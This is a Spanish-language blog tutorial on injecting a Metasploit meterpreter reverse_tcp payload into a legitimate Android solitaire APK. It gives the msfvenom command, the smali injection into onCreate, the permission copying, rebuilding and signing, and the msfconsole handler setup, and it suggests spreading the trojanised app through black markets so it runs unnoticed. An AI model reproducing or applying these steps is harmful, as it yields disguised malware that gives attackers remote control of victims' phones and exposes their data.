Para ello podemos usar apktool completamente, o la última versión de AndroidSwissKnife . Primero digamos que en este post vamos a tocar los temas de las APKs de Android, que es el formato utilizado para empaquetar las aplicaciones ( digamos que es una especie de zip, realmente podemos hacer unzip a un apk).
También vamos a tocar Metasploit, una gran herramienta para los pentesters, esta herramienta se basa en módulos los cuales permiten hacer (sobre todo intentos) de explotación de sistemas, con los módulos de exploit que cuenta la herramienta, o módulos auxiliares. Usaremos dos de las herramientas con las que cuenta metasploit: msfvenom (para generar payloads, dando la posibilidad de pasarlos por un encoder) y msfconsole (consola de comandos para hacer uso de exploits, modulos auxiliares...).
Vamos a realizar un sencillo proceso de Ingeniería inversa en android, pero bastante sencillo.
Bien, pues empezamos con el trabajo, para ello vamos a poner un poco de música al asunto y enumeramos los materiales necesarios ( aquí una recomendación de mi parte: https://www.youtube.com/watch?v=Q7xLS6jqV90 ).
Materiales necesarios:
- Tener el framework de explotación de Metasploit (para esta herramienta teneis en el blog en la sección de libros un buen ejemplar de como usar metasploit http://www.estacion-informatica.com/p/libros.html)
- Tener apktool instalado (descargar siempre la última versión pues en kali viene una algo anticuada).
- Tener una apk original en la que inyectaremos el módulo para lanzar el payload (yo usaré un sencillo juego del solitario)
- Algún conocimiento de smali y xml (pero bueno tampoco mucho pues voy a ir explicando).
- Generaremos un payload para android con msfvenom, usaremos el conocido como reverse_tcp, para ello tenemos que saber nuestra IP a la que el cliente se conectará (el pobre que ejecute la aplicación) cuando arranque el solitario. Para esta tarea tenemos el comando ifconfig, así que abrimos una terminal y escribimos "ifconfig":
msfvenom --payload android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 -f raw > trojan.apk
Ya tendremos una apk con el nombre trojan.apk, o en mi caso trojan2.apk (seguiremos usando trojan.apk).
Vamos a sacar una representación de alto nivel (en java) de esta aplicación para ver un poco como funciona, y así aprendemos un poquito de reversing, además nunca viene mal saber como funciona nuestra aplicación maliciosa. Podemos usar dos herramientas: androidSwissKnife o dex2jar directamente:
androidSwissKnife -a trojan.apk -o trojan --get-jar
Si usamos dex2jar
dex2jar trojan.apk
Seguidamente usaremos jd-gui para ver este código:
jd-gui trojan_dex2jar.jar
Y seguidamente, inspeccionamos el código, vamos a MainActivity. Y vemos que lo primero que hace es crear un Service, lo cual en android es un proceso en segundo plano:
Y el service a su vez llama ya al método start de una extraña clase llamada Payload .
Investigando la clase Payload vemos que apunta a nuestra IP y el puerto elegido (4444), esta clase es la que ejecuta el payload y por tanto nos da la posibilidad de tener un cliente conectado a nosotros.
Algo que nos interesa de aquí de este service es la llamada a ese Payload ( Payload.start(this) ). Esta llamada la inyectaremos en el código del onCreate() de la actividad principal del juego del solitario.
Vamos a ejecutar apktool en ambas APKs. Podeis seguir los dos métodos, el usar apktool directamente o androidSwissKnife.
androidSwissKnife -a name.apk -o name_output --apktool
o si usamos apktool
apktool d name.apk -o name_output
Y tendremos ya dos carpetas, una para cada APK con el AndroidManifest y con el código en formato smali (del cual ya hablé en mi anterior post).
Ahora abriremos ambos AndroidManifest.xml de ambas carpetas, pues tenemos que copiar los <uses-permission del trojan.apk al de solitario.apk, para poder realizar todo tipo de actividades malintencionadas ( No seais malignos con esto... ). Vamos a ver dos imagenes una con los <uses-permission sin el cambio y otro con el cambio:
Como se ve se hemos ampliado bastante la lista, los <uses-feature no nos hacen falta pues sólo nos condicionan a que dispositivos podemos instalar la aplicación.
Seguidamente de la carpeta apktool-trojan (o como vosotros la nombrarais), vamos a coger la carpeta metasploit dentro de la ruta apktool-trojan/smali/com . Y la copiamos y la pegamos dentro de nuestra apk original en la ruta apktool-(nombre apk)/smali/com . Con esto ya tenemos el código completo dentro de la aplicación original. Ahora abrimos dos archivos muy, y digo MUY importantes, el código MainService.smali de Metasploit y el MainActivity.smali de nuestra aplicación original.
Vamos con el primero, el MainService.smali , nos centraremos en el código de onStartCommand :
Bien vamos a ver abajo de donde pone .line 16 esa linea invoca al método start de la clase Payload , pasando como argumento p0 , en smali en códigos no static es la variable this. Ya sabeis si habeis programado en java, que es una variable que apunta a la clase u objeto en si mismo.
Esa linea es la que copiaremos en el método onCreate de MainActivity.smali de la APK original .
IMPORTANTE: ¿Cómo sabemos cual es la Activity principal de la apk original?. Bien, consultaremos el AndroidManifest.xml de la apk original, y aquella que tenga un Intent-Filter con un Main y un Launcher. Usamos esa.
Veis, aquí directamente copiar y pegar a capón esa linea, y en cuanto se ejecute el onCreate, tenemos que tener un handler escuchando con msfconsole.
De momento vamos a volver a crear la apk, con apktool y firmarla con d2j-apk-sign (podeis hacerlo con androidSwissKnife, pero os voy a poner los comandos con apktool y d2j-apk-sign):
apktool b folder-name/ -o name_temporary.apk
d2j-apk-sign -f -o final.apk name_temporary.apk
Y con esto tendremos en final.apk la apk final que tenemos que pasar a la gente y que se instalen manualmente (podemos intentar colarlas en black markets, para todo el que tenga el dispositivo root).
Ahora vamos a ejecutar los siguientes comandos:
msfconsole
Seguidamente cuando nuestra consola cargue...
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 10.0.0.1
set lport 4444
run
Y ahora a esperar que alguien ejecute la aplicación, la cual funcionará sin que él se percate.
Vamos aquí a ejecutarlo en una máquina virtual, a ver que pasa:
Muy bien, tenemos a una persona contenta de poder echarse una partida al solitario, y a otra haciendo cosas maliciosas en otra máquina con meterpreter.
Hasta aquí el POST. Espero no resultara muy pesado, he intentado hacerlo algo divertido y subir imágenes que muestren el proceso paso a paso. Para cualquier problema o cualquier pregunta podeis contactar conmigo.
Un saludo, hasta el proximo post. Fare9
(Idea sacada de la lectura de: http://www.securitybydefault.com/2014/08/alterando-el-contenido-de-un-apk-parte.html )